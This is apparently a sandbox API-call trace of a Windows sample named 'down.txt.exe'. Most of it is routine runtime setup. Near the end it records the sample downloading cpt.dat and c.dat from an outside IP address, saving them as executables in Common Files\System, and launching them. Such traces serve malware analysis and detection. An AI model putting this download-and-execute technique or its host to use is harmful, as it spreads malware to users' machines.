!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 256 [0031.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¯o\x8cm\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0031.228] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef428) returned 1 [0031.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef428 | out: hHeap=0x5d0000) returned 1 [0031.228] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0) returned 1 [0031.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0 | out: hHeap=0x5d0000) returned 1 [0031.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa4) returned 0x5ef1f0 [0031.230] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4405a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\down.txt.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\down.txt.exe")) returned 0x32 [0031.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5f) returned 0x5ed138 [0031.230] RtlInitializeSListHead (in: ListHead=0x43fd58 | out: ListHead=0x43fd58) [0031.230] GetLastError () returned 0x0 [0031.230] SetLastError (dwErrCode=0x0) [0031.230] GetEnvironmentStringsW () returned 0x5ef2a0* [0031.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0031.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x589) returned 0x5efd78 [0031.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5efd98, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0031.238] FreeEnvironmentStringsW (penv=0x5ef2a0) returned 1 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbc) returned 0x5ef2a0 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x43) returned 0x5e7b78 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5a) returned 0x5ef368 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5b) returned 0x5ef3d0 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x5ef438 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x55) returned 0x5ef4a0 [0031.238] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3b) returned 0x5e6608 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x48) returned 0x5e7bc8 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x5e1688 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x31) returned 0x5ef500 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x49) returned 0x5ef540 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5d) returned 0x5ef598 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x5e6650 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3b) returned 0x5e6698 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x32) returned 0x5ef600 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d) returned 0x5ef640 [0031.239] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x62) returned 0x5ef6d8 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3f) returned 0x5e66e0 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x41) returned 0x5e7c18 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6c) returned 0x5ef748 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x36) returned 0x5ef7c0 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x5e6728 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3f) returned 0x5e6770 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x48) returned 0x5e7c68 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4d) returned 0x5ef800 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x42) returned 0x5e7cb8 [0031.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x65) returned 0x5ef858 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3b) returned 0x5e67b8 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x33) returned 0x5ef8c8 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3a) returned 0x5e6800 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4e) returned 0x5ef908 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4d) returned 0x5ef960 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x39) returned 0x5e6848 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x42) returned 0x5e7d08 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4e) returned 0x5ef9b8 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x36) returned 0x5efa10 [0031.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x5e6890 [0031.242] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6a) returned 0x5efa50 [0031.242] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efd78) returned 1 [0031.242] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efd78 | out: hHeap=0x5d0000) returned 1 [0031.242] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0031.242] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0031.243] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0031.244] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0031.245] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0031.245] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0031.245] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0031.245] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0031.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x824) returned 0x5efac8 [0031.247] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.248] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x403d70) returned 0x0 [0031.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec060 [0031.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec098 [0031.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x5f0740 [0031.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.257] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.257] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.257] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x5f07a0 [0031.258] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740) returned 1 [0031.258] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740 | out: hHeap=0x5d0000) returned 1 [0031.258] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060) returned 1 [0031.258] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060 | out: hHeap=0x5d0000) returned 1 [0031.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec060 [0031.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec108 [0031.258] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x44) returned 0x5e7d58 [0031.258] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108) returned 1 [0031.258] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108 | out: hHeap=0x5d0000) returned 1 [0031.258] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060) returned 1 [0031.258] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060 | out: hHeap=0x5d0000) returned 1 [0031.259] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0031.259] AreFileApisANSI () returned 1 [0031.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5e7d78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0031.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x46) returned 0x5e7da8 [0031.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5e7d78, cbMultiByte=-1, lpWideCharStr=0x5e7dc8, cchWideChar=17 | out: lpWideCharStr="C:\\Program Files") returned 17 [0031.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa68a9410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa68a9410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0031.259] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7da8) returned 1 [0031.259] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x5d0000) returned 1 [0031.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec060 [0031.259] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x44) returned 0x5e7da8 [0031.259] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f07a0) returned 1 [0031.259] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f07a0 | out: hHeap=0x5d0000) returned 1 [0031.260] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.260] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.260] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec108 [0031.260] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108) returned 1 [0031.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108 | out: hHeap=0x5d0000) returned 1 [0031.260] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.260] AreFileApisANSI () returned 1 [0031.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5e7d78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0031.260] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x5f0740 [0031.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5e7d78, cbMultiByte=-1, lpWideCharStr=0x5f0760, cchWideChar=30 | out: lpWideCharStr="C:\\Program Files\\Common Files") returned 30 [0031.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa22bcdd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa22bcdd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0031.260] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740) returned 1 [0031.260] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740 | out: hHeap=0x5d0000) returned 1 [0031.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.261] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7da8) returned 1 [0031.261] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x5d0000) returned 1 [0031.261] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.261] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec108 [0031.261] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x5f0740 [0031.261] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d58) returned 1 [0031.261] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d58 | out: hHeap=0x5d0000) returned 1 [0031.261] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108) returned 1 [0031.261] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec108 | out: hHeap=0x5d0000) returned 1 [0031.261] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.262] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.262] AreFileApisANSI () returned 1 [0031.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5f0760, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0031.262] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6e) returned 0x5f07a0 [0031.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5f0760, cbMultiByte=-1, lpWideCharStr=0x5f07c0, cchWideChar=37 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System") returned 37 [0031.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0031.263] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f07a0) returned 1 [0031.263] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f07a0 | out: hHeap=0x5d0000) returned 1 [0031.263] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2c) returned 0x5ec0d0 [0031.263] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0) returned 1 [0031.263] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec0d0 | out: hHeap=0x5d0000) returned 1 [0031.263] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740) returned 1 [0031.263] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f0740 | out: hHeap=0x5d0000) returned 1 [0031.264] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec098) returned 1 [0031.264] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec098 | out: hHeap=0x5d0000) returned 1 [0031.264] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060) returned 1 [0031.264] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ec060 | out: hHeap=0x5d0000) returned 1 [0031.264] GetUserNameA (in: lpBuffer=0x18fe00, pcbBuffer=0x18fdec | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18fdec) returned 1 [0031.415] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/cpt.dat") returned 0 [0033.355] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/cpt.dat", param_3="C:\\Program Files\\Common Files\\System\\cpt.exe" (normalized: "c:\\program files\\common files\\system\\cpt.exe"), param_4=0x0, param_5=0x0) returned 0x0 [0047.472] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Program Files\\Common Files\\System\\cpt.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fda0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fdf0 | out: lpCommandLine="C:\\Program Files\\Common Files\\System\\cpt.exe", lpProcessInformation=0x18fdf0*(hProcess=0x3c4, hThread=0x3c8, dwProcessId=0xae8, dwThreadId=0x8f8)) returned 1 [0047.516] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 0 [0047.516] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x0 [0050.057] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Program Files\\Common Files\\System\\c.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fda0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fdf0 | out: lpCommandLine="C:\\Program Files\\Common Files\\System\\c.exe", lpProcessInformation=0x18fdf0*(hProcess=0x3d0, hThread=0x3cc, dwProcessId=0xb7c, dwThreadId=0x174)) returned 1 [0050.153] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0050.155] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0050.162] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, 